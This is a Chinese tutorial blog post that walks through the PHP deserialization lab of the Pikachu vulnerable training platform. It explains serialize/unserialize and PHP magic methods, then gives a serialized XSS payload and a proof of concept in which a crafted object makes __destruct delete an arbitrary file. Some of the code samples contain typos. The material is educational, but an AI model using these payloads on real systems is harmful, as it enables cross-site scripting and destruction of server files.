十、pikachu之php反序列化

这篇具有很好参考价值的文章主要介绍了十、pikachu之php反序列化。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1、php反序列化概述

  在理解这个漏洞前,首先搞清楚php中serialize()unserialize()这两个函数。

(1)序列化serialize():就是把一个对象变成可以传输的字符串。比如下面是一个对象:

    class S{
        public $test="pikachu";
    }
    $s=new S(); //创建一个对象
    serialize($s); //把这个对象进行序列化
    序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
    O:代表类
    1:代表类名字长度为一个字符
    S:类的名称
    1:代表类里面有一个变量
    s:数据类型
    4:变量名称的长度
    test:变量名称
    s:数据类型
    7:变量值的长度
    pikachu:变量值

(2)反序列化unserialize():就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

$u=unserialize("O":1:"S":1:{s:4:"test";s:7:"pikachu";});
echo $u->test; //得到的结果为pikachu

  序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。
漏洞举例:

class S{
	var $test = "pikachu";
	function __destruct(){
		echo $this->test;
    }
}
$s = $_GET['test'];
@$unser = unserialize($a);

payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

2、实战

(1)使用payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

十、pikachu之php反序列化,pikachu,php,android,开发语言

(2)查看源码;

<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */

$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);

if ($SELF_PAGE = "unser.php"){
    $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}

$PIKA_ROOT_DIR =  "../../";
include_once $PIKA_ROOT_DIR.'header.php';

class S{
    var $test = "pikachu";
    function __construct(){       
        echo $this->test;      
    }
}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";       
    }
}
?>

  源码分析:简单来说,我们传入成功的反序列化字符串s,就会执行到else里面对其进行打印输出。

(3)构造反序列化payload。

<?php
class S{
    var $test = "pikachu";
}
$f = new S();
$payload = "<script>alert(1)</script>";
$f->test=$payload;
echo serialize($f);
?>

  上述代码:f实例化S类,然后重写类中的S,再对对象f进行序列化;序列化结果:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

(3)执行payload。

十、pikachu之php反序列化,pikachu,php,android,开发语言

(4)分析
  页面会弹框的主要原因是$html.="<p>{$unser->test}</p>"; 。而不是__construct()函数,因为在unserialize()时是不会自动调用。

十、pikachu之php反序列化,pikachu,php,android,开发语言
  可以看到{$unser->test}的的结果就是<script>alert('xss')</script>

3、关于Magic function

  常见的几个魔法函数:

  • __construct()当一个对象创建时被调用,但在unserialize()时是不会自动调用的(构造函数)
  • __destruct()当一个对象销毁时被调用
  • __toString()当一个对象被当作一个字符串使用
  • __sleep()在对象在被序列化之前运行
  • __wakeup将在序列化之后立即被调用
<?php 
class people{
	public $name = "f1r3K0";
	public $age = '18';
	function __wakeup(){
		echo "__wakeup()";
	}
	function __construct(){
		echo "__consrtuct()";
	}
	function __destruct(){
		echo "__destruct()";
	}
	function __toString(){
		echo "__toString";
	}
	/*function __sleep(){
		echo "__sleep";
	}*/
}
$class =  new people();
$class_ser = serialize($class);
print_r($class_ser);
$class_unser = unserialize($class_ser);
print_r($class_unser);
?>

运行结果如下:
十、pikachu之php反序列化,pikachu,php,android,开发语言
  从运行结果来看,我们可以看出unserialize函数是优先调用__wakeup()再进行的反序列化字符串。同时,对于其他方法的调用顺序也一目了然了。(注意:这里将sleep注释掉了,因为sleep会在序列化的时候调用,因此执行sleep方法就不会再执行序列以及之后的操作了。)

4、__wakeup()和destruct()

  unserialize()后会导致wakeup() destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在wakeup()destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。我们这里直接使用参考文章的例子,代码如下:

//logfile.php删除临时日志文件<?php
class LogFile {
	//log文件名
	public $filename = 'error.log';
	//存储日志文件
	public function LogData($text) {
		echo 'Log some data:' . $text . '<br />';
		file_put_contents($this->filename,$text,FILE_APPEND);
	}
	//Destructor删除日志文件
	public function _destruct() {
		echo '_destruct delete' . $this->filename . 'file.<br />';
		unlink(dirname(_FILE_) . '/' . $this->filename);//删除当前目录下的filename这个文件
?>
<?php
//包含了'logfile.php'的主页面文件index.php<?php
include 'logfile.php';
class User {
	//属性
	public $age = o;
	public $name = '';
	//调用函数来输出类中属性
	public function PrintData() {
		echo 'User' . $this->name . 'is' . $this->age . 'years old.<br />';}
}
$usr = unserialize($_GET['user']);
?>

  index.php是一个有php序列化漏洞的主要文件,logfile.php的功能就是在临时日志文件被记录了之后调用 __destruct方法来删除临时日志的一个php文件。

  利用这个漏洞的方式就是,通过构造能够删除source.txt的序列化字符串,然后get方式传入被反序列化函数,反序列化为对象,对象销毁后调用__destruct()来删除source.txt

漏洞利用EXP:

<?php
	include 'logfile.php';
	$obj = new LogFile();
	$obj->filename = 'source.txt'; //source.txt为你想删除的文件
	echo serialize($obj) . '<br /> ;
?>

  通过['GET']传入序列化字符串,调用反序列化函数来删除想要删除的文件。如图:

十、pikachu之php反序列化,pikachu,php,android,开发语言文章来源地址https://www.toymoban.com/news/detail-669463.html

到了这里,关于十、pikachu之php反序列化的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • php反序列化漏洞基础

            序列化是将对象或类转换为字符串的过程 ,以便在程序运行过程中对其进行持久化存储或传输的操作。在PHP中,序列化主要用于将类对象或数组转换成字节流的形式,以便于存储在磁盘或传输到其他系统。         通过 序列化,可以将对象或类转换成一串字

    2024年01月20日
    浏览(59)
  • 基于PHP反序列化练习

     PHP创建一个以自己姓名命名的类,要求存在两个属性,name,age,进行序列化,输出序列化以后的数据。 序列化后数据: 手动修改序列化后的数据实现age年龄+100,输出反序列化后的内容:

    2024年01月23日
    浏览(63)
  • PHP反序列化漏洞-魔术方法绕过

    一、__wakeup()魔法函数绕过: 在PHP中,__wakeup()是一个魔术方法,用于在反序列化对象时自动调用。 当反序列化字符串中的对象属性个数大于实际属性个数时 ,可以利用这个漏洞进行绕过。 触发条件: PHP版本为5.6.25或早期版本,或者PHP7版本小于7.0.10。 反序列化字符串中的对

    2024年01月18日
    浏览(53)
  • 反序列化漏洞及PHP魔法函数

    目录 1、漏洞原理 2、序列化(以PHP语言为例) 3、反序列化 4、PHP魔法函数 (1)__wakeup() (2)__destruct() (3)__construct() (4)__toString() (5)__get() (6)__call() PHP反序列化漏洞也叫PHP对象注入,形成的原因是程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反

    2024年02月04日
    浏览(57)
  • PHP反序列化漏洞之魔术方法

    PHP魔术方法 (Magic Methods) 是一组特殊的方法,它们在特定的情况下会被自动调用,用于实现对象的特殊行为或提供额外功能。这些方法的名称都以双下划线开头和结尾,例如: __construct() 、 __toString() 等。 魔术方法可以帮助我们实现一些特殊的行为,例如对象的初始化、属性

    2024年02月16日
    浏览(49)
  • 无涯教程-PHP - Filtered反序列化

    PHP 7引入了Filtered unserialize() 函数,以在对不受信任的数据上的对象进行反序列化时提供更好的安全性。 它产生以下浏览器输出- PHP - Filtered反序列化 - 无涯教程网 无涯教程网提供PHP 7引入了Filtered unserialize() 函数,以在对不受信任的数据上的对象进行反序列化... https://www.lea

    2024年02月10日
    浏览(45)
  • PHP反序列化漏洞-字符串逃逸

    字符串逃逸(闭合) 字符串逃逸(闭合)是一种在反序列化函数可控的情况下,通过修改序列化字符串中的敏感字符来达到字符串逃逸的方法。 具体而言,可以通过修改变量名等个数,使得序列化字符串中的字符个数与实际变量值个数不一致 。由于反序列化机制要求字符串

    2024年01月20日
    浏览(56)
  • PHP反序列化入门手把手详解

    前言:文章内容大致可分为原理详解-漏洞练习- 防御方法。文章内容偏向于刚接触PHP反序列化的师傅,是一篇对PHP反序列化入门的手把手教学文章。文章特色在于对PHP反序列化原理的详细分析以及一系列由简入深的PHP反序列化习题练习和分析讲解。文章写作初衷是想借助REEBUF平

    2024年02月08日
    浏览(52)
  • php魔术方法和反序列化漏洞

    漏洞形成的根本原因就是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、GetShell 等一系列不可控的后果。反序列化漏洞并不是PHP 特有的,也存在于Java、Python 语言中,其原理基本相同。 反序列化是字节流转对象的过程

    2024年02月09日
    浏览(53)
  • 两道题浅析PHP反序列化逃逸

    反序列化逃逸 的出现是因为php反序列化函数在进行反序列化操作时,并不会审核字符串中的内容,所以我们可以操纵属性值,使得反序列化提前结束。 反序列化逃逸题 一般都是存在一个filter函数,这个函数看似过滤了敏感字符串,其实使得代码的安全性有所降低;并且分为

    2024年02月05日
    浏览(45)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包